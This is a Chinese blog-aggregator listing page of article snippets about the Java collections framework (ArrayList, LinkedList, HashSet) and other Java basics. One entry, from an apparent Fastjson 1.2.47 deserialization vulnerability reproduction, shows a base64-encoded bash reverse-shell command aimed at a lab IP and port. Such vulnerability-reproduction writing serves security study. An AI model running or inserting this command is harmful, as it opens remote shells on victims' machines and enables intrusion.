E-COM-NET
首页
在线工具
Layui镜像站
SUI文档
联系我们
推荐频道
Java
PHP
C++
C
C#
Python
Ruby
go语言
Scala
Servlet
Vue
MySQL
NoSQL
Redis
CSS
Oracle
SQL Server
DB2
HBase
Http
HTML5
Spring
Ajax
Jquery
JavaScript
Json
XML
NodeJs
mybatis
Hibernate
算法
设计模式
shell
数据结构
大数据
JS
消息中间件
正则表达式
Tomcat
SQL
Nginx
Shiro
Maven
Linux
Java-集合框架
Java
集合框架
文章目录一,Java
集合框架
简介二、Java集合常见接口及实现类1.Collection接口常见方法2.Set集合1)HashSet类2)LinkedHashSet类3)TreeSet类①自然排序②定制排序
梁辰兴
·
2023-11-29 15:01
Java
课程任务
java
开发语言
集合框架
Day18 03.19 下
集合框架
ArrayList LinkedList
集合框架
基本概念((面试频率很高的哦))
集合框架
出现是为了解决数组在开发过程中所遇到的问题特点:1、长度不是固定、可以随时扩容2、存放不同类型的数据3、提供很多种集合,不同的算法,采用不同的
集合框架
可以提高开发效率集合的结构虚线表示接口实线是类左边
集合框架
The nice day_150
·
2023-11-29 15:00
探索Java
集合框架
:List、ArrayList和LinkedList详解
在Java编程领域,
集合框架
是不可或缺的一部分,它为我们提供了灵活的数据存储和操作方式。本文将深入探讨
集合框架
中的List接口以及其两个主要实现类ArrayList和LinkedList。
足够用心
·
2023-11-29 15:00
java
list
开发语言
集合框架
之从JDK1.8源码中看LinkedList
概述之前说过ArrayList内部是基于数组实现的,而LinkedList内部是基于双向链表实现的,现在就JDK1.8源码来看看内部的实现机制。添加元素我们添加元素,最常见的一个方法就是add操作publicbooleanadd(Ee){linkLast(e);returntrue;}来看看linkLast方法的实现:voidlinkLast(Ee){finalNodel=last;finalNo
handy周
·
2023-11-29 15:00
jdk
LinkedList
集合
链表
集合框架
(二)LinkedList的常见使用
Hii,mJinXiang⭐前言⭐本篇文章主要介绍LinkedList的常见使用以及部分理论知识欢迎点赞收藏⭐留言评论私信必回哟博主收将持续更新学习记录获,友友们有任何问题可以在评论区留言目录⭐什么是List集合?LinkedList的基本概念LinkedList的常见使用1、新增2、删除3、修改/查看4、获取数据⭐什么是List集合?ArrayList,LinkedList,Vector都是隶属
Jin_Xiang23
·
2023-11-29 15:58
Java
开发语言
java
开发语言
ArrayList与顺序表的简单理解
前言----list在
集合框架
中,List是一个接口,继承自Collection。
委婉待续
·
2023-11-29 13:12
java
Java-
数组实现超简易学生管理系统
//学生类学号姓名年龄班级及构造方法与get/set方法publicclassStudent{privateStringsutID;//学号 privateStringname;//姓名privateintage;//年龄privatestaticStringclasses="1班";//班级publicStudent(){}publicStudent(StringsutID,Str
网一篮球队长
·
2023-11-29 09:15
java
开发语言
算法
集合框架
详解 [精选]
Hii,mJinXiang⭐前言⭐本篇文章主要介绍
集合框架
的两个接口超级详细介绍,
集合框架
的使用以及部分理论知识欢迎点赞收藏⭐留言评论私信必回哟博主收将持续更新学习记录获,友友们有任何问题可以在评论区留言目录
Jin_Xiang23
·
2023-11-29 06:39
Java
开发语言
java
数据结构
集合框架
(三)ArrayList的常见使用
Hii,mJinXiang⭐前言⭐本篇文章主要介绍ArrayList的常见使用方法以及部分理论知识欢迎点赞收藏⭐留言评论私信必回哟博主收将持续更新学习记录获,友友们有任何问题可以在评论区留言目录⭐什么是List集合?⭐ArrayList的基本概念特点:缺点:⭐ArrayList的常见使用1、ArrayList的常用方法2、代码演示⭐什么是List集合?ArrayList,LinkedList,Ve
Jin_Xiang23
·
2023-11-29 06:39
Java
开发语言
java
开发语言
手把手教你如何实现List——ArrayList
在
集合框架
中,List是一个接口,继承自Coll
呼啦啦啦啦啦啦啦啦
·
2023-11-29 05:29
JavaSE
数据结构
list
数据结构
顺序表
fastjson漏洞 - Fastjson1.2.47反序列化漏洞
99990>&1bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}
java
渗透测试小白
·
2023-11-29 03:20
漏洞复现
json
java
安全
fastjson漏洞
漏洞复现
Java HashSet的常用操作总结
JavaHashSet是Java
集合框架
中的一种数据结构,它实现了Set接口,并基于哈希表(HashTable)实现。
等月光倾洒
·
2023-11-29 03:47
Java
java
开发语言
servlet
java集合(ArrayList/Vector/LinkedList/HashSet/TreeSet/ArrayDeque/PriorityQueue/HashMap/HashTable/TreeM)
blog.csdn.net/u010887744/article/details/50575735大图可以点此访问:https://img-blog.csdn.net/20160124221843905Java
集合框架
主要包括两种类型的容器
旗木归来
·
2023-11-28 20:55
java基础
Java-
认识String类
本章重点:1.认识String类2.了解String类的基本用法3.熟练掌握String类的常见操作4.认识字符串常量池5.认识StringBuffer和StringBuilder1.String类的重要性在C语言中已经涉及到字符串了,但是在C语言中要表示字符串只能使用字符数组或者字符指针,可以使用标准库提供的字符串系列函数完成大部分操作,但是这种将数据和操作数据方法分离开的方式不符合面相对象的思
小凡喜编程
·
2023-11-28 17:35
Java
java
开发语言
Java-
认识异常
本章重点:1.异常概念与体系结构2.异常的处理方式3.异常的处理流程4.自定义异常类1.异常的概念与体系结构1.1异常的概念在Java中,将程序执行过程中发生的不正常行为称为异常。比如之前写代码时经常遇到的:1.算术异常2.数组越界异常3.空指针异常1.2异常的体系结构异常种类繁多,为了对不同异常或者错误进行很好的分类管理,Java内部维护了一个异常的体系结构:从上图中可以看到:1.Throwab
小凡喜编程
·
2023-11-28 17:03
Java
java
开发语言
Java
集合框架
上机练习题
题1:编写一个Book类,该类至少有name和price两个属性。该类要实现Comarable接口,在接口的compareTo()方法中规定两个Book类实例的大小关系为二者的price属性的大小关系。在主函数中,选择合适的集合类型存放Book类的若干个对象,然后创建一个新的Book类的对象,并检查该对象与集合中的哪些对象相等。代码:importjava.util.Iterator;importj
星空__
·
2023-11-28 17:32
Java
第六节、轻松学Java_接口与
集合框架
接口接口与抽象类接口与抽象类的相同点:都可以被继承。都不能被直接实例化。都可以包含抽象方法。派生类必须实现未实现的方法。接口与抽象类的不同点:接口支持多继承,抽象类不能实现多继承。一个类只能继承一个抽象类,但可以实现多个接口。接口中的成员变量只能是publicstaticfinal类型的,抽象类中的成员变量可以是各种类型的。接口只能定义抽象方法;抽象类既可以定义抽象方法,也可以定义实现的方法。接口
身影王座
·
2023-11-28 17:32
Java学习
java
关于java
集合框架
的简单理解
1.
集合框架
概述集合:能够将众多具有相同性质的元素汇聚成一个整体的一个对象,本身是一个对象,里边可以存放其它的对象。
AAcaterpillar
·
2023-11-28 17:00
java
集合框架
30.0/集合/ArrayList/LinkedList
30.1.2为什么使用集合30.1.3自己创建一个集合类30.1.3
集合框架
有哪些?
光明是人的信仰
·
2023-11-28 17:30
算法
链表-
Java-
力扣61. 旋转链表
1.题目题目链接61.旋转链表2.思路意思就是将最后的k个节点放到链表前面即可,如果k大于链表长度,取余数即可:3.代码classSolution{publicListNoderotateRight(ListNodehead,intk){if(head==null||head.next==null)returnhead;//先找到链表的长度intlen=1;ListNodecurr=head;Li
mifmolchao
·
2023-11-28 16:40
LeetCode力扣指南
链表
java
算法
数据结构
单链表
Java集合-Collection集合体系概述
文章目录一、集合概述及
集合框架
1.对象数组2.集合概述3.集合的继承体系图二、Collection集合1.Collection集合概述2.Collection集合的增删功能3.Collection集合的判断与获取功能
彼岸啊
·
2023-11-28 15:12
JavaSE
集合(Collection,List,Set,Map)
集合的概述和特点2.List集合特有方法3.遍历方式4.List集合的子类特点三、Set1.Set集合的特点2.子类四、Map1.Map集合概述2.Map集合的常用方法3.Map集合的遍历4.子类五、
集合框架
底层数据结构总结
Amo a te
·
2023-11-28 15:06
java
【面试常问】谈谈你对
集合框架
的理解?
谈谈你对
集合框架
的理解?在面试中被问到这个问题该咋么回答呢?
Willing卡卡
·
2023-11-28 09:15
面试集锦专栏
面试
职场和发展
集合
List
Map
java-
继承和多态中成员变量和成员方法的访问特点
继承中成员变量的访问特点在父子类的继承关系当中,如果成员变量重名,则创建子类对象,访问有两种方式:直接通过子类对象访问成员变量:等号左边是谁,就优先用谁,没有则向上找间接通过成员方法访问成员变量:该方法属于谁,就优先用谁,没有则向上找继承中成员方法的访问特点在父子类的继承关系当中,创建子类对象,访问成员方法的规则:创建的对象是谁,就优先用谁,如果没有则向上找。多态中成员变量的访问特点多态(父亲引用
莲控,,
·
2023-11-28 05:07
java
继承
多态
Android面试基础总结
Android入门之路(含面试经验)转载:https://www.hellobit.com.cn/b/android-road/2833973062.html介绍Java基础Java
集合框架
Java集合
yangjunjin
·
2023-11-28 01:45
android
面试
职场和发展
Java
集合框架
题
Collection接口和Collections类都是做什么用的?Collection是一个集合接口。他提供对集合对象进行基本操作的通用接口方法。Collection接口意义是为各种具体集合提供最大化统一操作。Collections是一个包装类,他包含有关各种集合的静态方法,大多数方法都是用来处理线性表的,一个工具类,服务于Java的Collection框架Collection接口有几个子接口?M
08d4b522367a
·
2023-11-28 01:00
java
集合框架
分析
Java中集合主要分为以下几类:1:List2:Set3:Map4:Queue它们的总体关系如下:Collection.jpeg从上图可以看出,List,Set,Queue三类
集合框架
都继承自Collection
J大空
·
2023-11-27 23:06
【Java底层原理】-> Vector & ArrayList & LinkedList 详细分析
Vector&ArrayList&LinkedList详细分析Ⅰ从面试出发Ⅱ相关数据结构与算法ⅢJava
集合框架
设计结构Ⅳ源码分析①ArrayList②LinkedListⅤ总结Ⅰ从面试出发这篇文章我们先从一个面试问题出发
_为光
·
2023-11-27 19:37
Java核心原理
数据结构
面试
ArrayList
LinkedList
算法
【071期】面试官问:什么场景下适合使用 ArrayList 或 LinkedList?
ArrayList和LinkedList是Java
集合框架
中用来存储对象引用列表的两个类。ArrayList和LinkedList都实现List接口。
Java精选
·
2023-11-27 19:32
链表
队列
python
java
编程语言
ArrayList类
ArrayList类一:概念二:ArrayList的遍历三:杨辉三角四:简单的洗牌算法:一:概念在
集合框架
中,ArrayList是一个普通的类,实现了List接口。
十一.
·
2023-11-27 16:57
java
Java集合知识总结
目录1.请解释Java
集合框架
中的Collection接口和它的主要方法。2.描述一下ArrayList和LinkedList的区别以及它们各自的使用场景。
贝la
·
2023-11-27 15:28
JAVAWEB基础知识
java
linux修改jdk被覆盖问题
记录修改方法,该方法简单易行,容易理解.使用whichjava发现出来的是/usr/bin/java进入到/usr/bin后查看,发现java是一个链接.链接到了/etc/alternatives,如下:
java
even_tan
·
2023-11-27 13:14
API(二)——
集合框架
(上)
Keywords:集合、Collection接口、List、ArrayList、LinkedList、Set、HashSet、TreeSet、LinkedHashSet、迭代器Iterator、比较器Comparable-compareTo()、Comparator-compare()、foreach循环集合类集合的概述由来:面向对象语言对事物的体现都是以对象的形式,所以为了方便对多个对象的操作,
XenaLiu
·
2023-11-27 11:41
java-
创建数组三种方式
一、声明并赋值int[]arr={1,2,4,…};注意这里的花括号不是语句块,而且而且花括号后的分号也不能省,…不是元素意思是可以指定多个元素二、声明数组名开辟空间并且赋值int[]arr;arr=newint[]{1,2,3,…};三、声明数组时指定元素个数然后赋值int[]arr1=newint[3];注意:最大元素下标为2,并且所有的元素值均为0赋值一般用for循环Java创建数组的方法_
startyangu
·
2023-11-27 10:00
java
Java数据结构之栈详解
Java
集合框架
中的Stack继承自Vector:由于Vector有4个构造函数,加上Stack本身的一种,也就是说有5
Carper Diem丶
·
2023-11-26 18:43
数据结构
java
开发语言
220. 存在重复元素 III
/leetcode.cn/problems/contains-duplicate-iii/description/完成情况:解题思路:TreeSetTreeSet在Java中,TreeSet是Java
集合框架
中的一
Wzideng
·
2023-11-26 12:00
#
LeetCode题解
算法知识
java学习
java
开发语言
数据结构
leetcode
算法
Java
集合框架
面经
1
集合框架
中的泛型有什么优点?Java1.5引入了泛型,所有的集合接口和实现都大量地使用它。泛型允许我们为集合提供一个可以容纳的对象类型,因此,如果你添加其它类型的任何元素,它会在编译时报错。
Geffin
·
2023-11-25 23:36
Java面经
集合框架
面经
Java学习之正则表达式快速入门
Java学习-14-韩顺平老师
Java-
正则表达式入门目录:1.正则表达式简介2.正则表达式语法2.1字符匹配符2.2选择匹配符2.3限定符2.4定位符2.4分组3.正则表达式三个常用类4.反向引用5.
安逸sgr
·
2023-11-25 23:41
Java
正则表达式
java
学习
Java-
拼图小游戏
文章目录main方法登录界面游戏主界面User类图片素材获取方式基于Java实现的拼图小游戏,代码与图片素材来自b站up主黑马程序员的Java教学视频。main方法importui.LoginJframe;publicclassApp{publicstaticvoidmain(String[]args){newLoginJframe();//创建登陆界面}}登录界面packageui;import
太平_十九
·
2023-11-25 22:25
java
Java-
飞翔的小鸟
前言基于Java的飞翔小鸟游戏,本代码来自b站up主分享。本游戏所需的图片素材需要自己获取并下载,在此视频下,视频链接:【Java经典小游戏项目之飞翔的小鸟】https://www.bilibili.com/video/BV1ou411o7br/?p=10&share_source=copy_web&vd_source=4611ec45767280678018f593c547e388。启动入口pa
太平_十九
·
2023-11-25 22:24
java
开发语言
Java集合——HashMap原理
哈希表(hashtable)也叫散列表,是一种非常重要的数据结构,应用场景及其丰富,许多缓存技术(比如memcached)的核心其实就是在内存中维护一张大的哈希表,本文会对java
集合框架
中HashMap
yuhan_sining
·
2023-11-25 19:00
Java-
使用poi-tl根据word模板动态生成word
作者wangsz,想写一些关于word的工具,所以就写了这篇文章1.首先,先导入所需要的依赖(poi相关依赖即可)org.apache.poipoi4.1.2org.apache.poipoi-ooxml4.1.2org.apache.poipoi-ooxml-schemas4.1.2com.deepoovepoi-tl1.9.1org.apache.pdfboxpdfbox2.0.24com.i
wdfxfff
·
2023-11-25 18:23
java
word
开发语言
Java实现—数据结构 1.初识
集合框架
一、什么是
集合框架
Java
集合框架
,又被称为容器,是定义在java.util包下的一组接口interfaces和其实现类classes其主要表现为将多个元素element置于一个单元中,
集合框架
是由若干个类组成的
L_cl
·
2023-11-25 15:00
Java数据结构
java
数据结构
Java-
单例模式(饿汉模式与懒汉模式)
目录一.饿汉模式二.懒汉模式(推荐)1.单线程版本2.多线程版本3.多线程版本plus说明:单例模式能保证某个类在程序中只存在唯一一份实例,而不会创建出多个实例.单例模式具体的实现方式,分成"饿汉"和"懒汉"两种.一.饿汉模式类加载的同时,创建实例.classSingleton{ privatestaticSingletoninstance=newSingleton();//创建唯一对象 pr
AZHOUN
·
2023-11-25 13:30
单例模式
java
Java-
根据时间戳加随机数生成不重复编号
最简单的方式是直接通过时间戳加随机数,怕重复可以在10000后面继续加0,加大随机的概率Stringstr=String.valueOf(System.currentTimeMillis());str+=(int)((Math.random()*9+1)*10000);System.out.println(str);结果如下:162236492020618730或者先转成常见的日期格式Simple
子非衣
·
2023-11-25 10:45
Java开发
java
Java-
提取地址中的省市区,兼容XX区XX小区等地址中出现多个市和区的问题
前段时间碰到一个需要从地址中抽出省市区的需求,然后在省市区中间加上横杠(例如:广东省深圳市罗湖区幸福小区101号转成广东省-深圳市-罗湖区-幸福小区101号),中间百度了下,发现几乎所有人写的方法都无法兼容带XX小区或者XX市XX公司等出现多个市和区的情况,所以优化了一下其他人的方法(注意:该方法必须要求地址带有完整的省市区)。代码如下:importjava.util.regex.Matcher;
子非衣
·
2023-11-25 10:44
Java开发
java
正则表达式
高级Java程序面试问题整理
集合
集合框架
底层数据结构1.List2.Set3.Map线程安
爱折腾的Albert
·
2023-11-25 08:44
Java
面试题
java
多线程
并发
面试大全
Java 之各种
集合框架
总结
文章目录面试题List快速去重HashSet如何去重的如何解决ArrayList线程不安全问题(印象最深刻)Collection和Collections的区别ArrayList集合加入1万条数据,应该怎么提高效率?ArrayList的扩容机制是什么集合体系单列集合(Collection)双列集合(Map)JDK内置集合Collection接口ListArrayList、LinkedListVect
yyangqqian
·
2023-11-25 03:33
Java
java
rabbitmq
分布式
Java-
多线程共享和协作
前言: 线程开始运行,拥有自己的栈空间,就如同一个脚本一样,按照既定的代码一步一步地执行,直到终止。但是,每个运行中的线程,如果仅仅是孤立地运行,那么没有一点儿价值,或者说价值很少,如果多个线程能够相互配合完成工作,包括数据之间的共享,协同处理事情。这将会带来巨大的价值。1、线程间的共享 Java支持多个线程同时访问一个对象或者对象的成员变量,关键字synchronized可以修饰方法或者以同
CaoMeng
·
2023-11-25 02:31
【Set是如何保证元素不重复的】
集合框架
这篇博文去了解一下整个
集合框架
的分类)在Java的Set体系中,根据实现方式不同主要分为两个大类:HashSet和TreeSet。
程序员安然
·
2023-11-24 23:16
Java集合类
java
开发语言
上一页
8
9
10
11
12
13
14
15
下一页
按字母分类:
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
其他